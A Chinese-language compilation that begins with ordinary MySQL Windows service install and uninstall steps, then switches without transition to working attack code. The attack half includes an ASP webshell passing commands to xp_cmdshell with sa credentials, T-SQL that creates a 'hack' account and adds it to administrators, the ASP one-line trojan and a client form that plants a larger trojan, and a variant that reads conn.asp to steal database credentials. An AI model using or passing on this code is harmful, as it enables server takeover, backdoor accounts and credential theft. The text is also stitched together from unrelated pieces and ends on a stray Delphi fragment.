安装mysql服务

新建并编辑内容如下的一个bat文件，执行之（e:\mysql\bin\mysqld-nt.exe为安装目录，按实际情况填写）

@ECHO OFF

e:\mysql\bin\mysqld-nt.exe -install

net start mysql

卸载mysql服务

新建并编辑内容如下的一个bat文件执行之（e:\mysql\bin\mysqld-nt.exe为安装目录，按实际情况填写）

@ECHO OFF

net stop mysql

c:\mysql\bin\mysqld-nt.exe -remove

--------------------------------------------

MYSQL启动不了的问题.具体表现如下:不管是直接双击mysqld.exe还是在命令提示符不都是没反应.(XP系统)

然后尝试 控制面板 >>> 管理工具 >>> 服务 >>> mysql 方法启动,弹出提示框就进程意外终止.郁闷了......

只好卸载了mysql重装,结果发现问题没解决.去请教别人竟得到重装系统的提示.开始抓狂了......

好了,痛苦的回忆就到这里,现在讲怎么解决.

首先是要卸载mysql服务,不然就算卸载了mysql程序,服务中依然有mysql这项,问题就解决不了.假设我的mysql装在C:\MYSQL,在命令提示符c:\mysql\bin下运行mysqld-nt -remove(中间有空格),会提示卸载成功.然后再在 控制面板 >>> 添加或删除程序 中卸载mysql,之后重启,再装上mysql运行mysqld.exe(win2000下是mysqld-nt.exe),命令提示符框一闪而过,这样你这可以在任务管理器中看到mysql这个进程了,也就是说你的mysql又复活了: )

------------------------------------------------------------------

安装常见问题之一：MYSQL为什么安装不成功？

　安装 MYSQL 不成功，一般是因为服务器可能安装过 MYSQL 而没有完全卸载，具体卸载方法如下：

第一步：

如果您的系统中安装有 MYSQL 数据库，请确认是否已经加载在系统服务中：打开“控制面板”的“管理工具”查看“服务”是否有“ MYSQL ”进程，如果有将其停止。

第二步：

请在 DOS 状态下执行 “ mysqld-nt -remove ”命令，将其在系统服务中删除。

第三步：

“ MYSQL系统服务”在 DOS 状态下删除成功。

第四步：

接下来请您在“控制面板”的“添加 / 删除程序”中将其卸载。

第五步：

在您的系统中将 c:\MYSQL 文件夹删除即可。

如果您确认以上所说的运行环境都已经完全删除。再次安装系统仍然无法使用。请到您的 c 盘符下。确认是否存在运行所需要的数据目录 c:\j2sdk1.4.1_03, c:\mysql,c:\resin 。并且系统服务里的 MYSQL 服务和 RESIN 服务都已启动。如果满足上述条件系统仍然无法使用，请您与恩信科技服务中心联系。恩信科技的服务工程师将及时，诚挚的为您解决系统中存在的问题。

方法一：

获得一个 webshell 以及一个机器的 sql server的sa权限后，在 机器不开通 Sql远程登陆的情况下，我就会用这段代码，来实现本地执行我需要执行的dos命令。
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－


<%

    actionstr=request("action")
    uid=sa
    pwd=sa
    db="master"


    if actionstr<>"" then

    dim conn
  dim connstr
  Set conn = Server.CreateObject("ADODB.Connection")
  connstr="Driver={SQL Server};server=(local);uid="&uid&";pwd="&pwd&";database="&db&";"
  conn.Open connstr


    sql="master.dbo.xp_cmdshell '"&actionstr&"'"
    conn.execute(sql)
   
 


    conn.close
    set conn=nothing
    end if
  %>

方法二：

这个是直接在查询分析器中执行，利用wscript来实现，就是 当xp_cmdshell 被系统管理员删除了的情况下，可以使用这招！

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'

--------------------------增加权限---------------------------------------------------------------------------
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

一句话木马的常用做法是利用数据库备份生成一个 asp文件，然后利用连接端再生成一个大马。

但是！很多大马都遭到杀软的通缉，写进去很多不是被杀就是被封！

看了一句话木马的原理，其实非常简单，我突发奇想，按理说也应该可以读取到sql的连接信息，如果我已经知道了conn.asp的位置的话（可以通过注入扫描工具 啊D 明小子之类的），如果读取了这个连接信息的文件conn.asp,把帐号密码读出来，那可以通过DBO提权，如果是SA的话那就更爽了。。。

于是我就自己试着改造（主要是客户端的改变）这个木马

－－－－－－－－－

一句话木马内容如下，这个没什么好说的，也没什么好改的：

<%execute request("value")%>

－－－－－－－蓝屏大叔的连接端源码如下－－－－－－－－－－－－－－－－


<form action=http://www.xxx.com/a.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("fhod")
lP.SaveToFile server.mappath("ck.asp"),2
lP.Close
set lP=nothing
response.redirect "ck.asp"
</textarea>
<textarea name=fhod cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br>
<input type=submit value=提交>
</form>


－－－－－－－－－－－－－－－－－------------------------------------




我改造的连接端如下：

<form action=http://www.xxxx.com/a.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
dim fso
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
  File = Server.MapPath("../public/conn.asp")

n=0
If FSO.FileExists(File) = True Then '判断该文件是否存在


Set CTF=FSO.OpenTextFile(File,1,False,TristateFalse)
do while not(ctf.AtEndOfStream)
response.write "<br>-------"
response.write CTF.ReadLine
response.write "<br>------"
loop
End If
set ctf=nothing
set fso=nothing
</textarea>
<textarea name=fhod cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br>
<input type=submit value=提交>
</form>




----------------非常简单吧，嘿嘿，只是利用 FSO读取文本出来－－－－－－－－－－－－



注意两点：

1。要sql中文版 ，其他版读出来的是乱码！

2。要知道连接信息文件的相对路径

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

测试环境是 sql 2000 中文版 sp4


其他版本读出来的是乱码，目前原因估计可能是字符集的显示问题。。。。

如果大家有好的方法解决这个问题也可以一起测验一下哦

首先，在前面 要 uses COMOBJ ,不然会提示没有定义CreateOleObject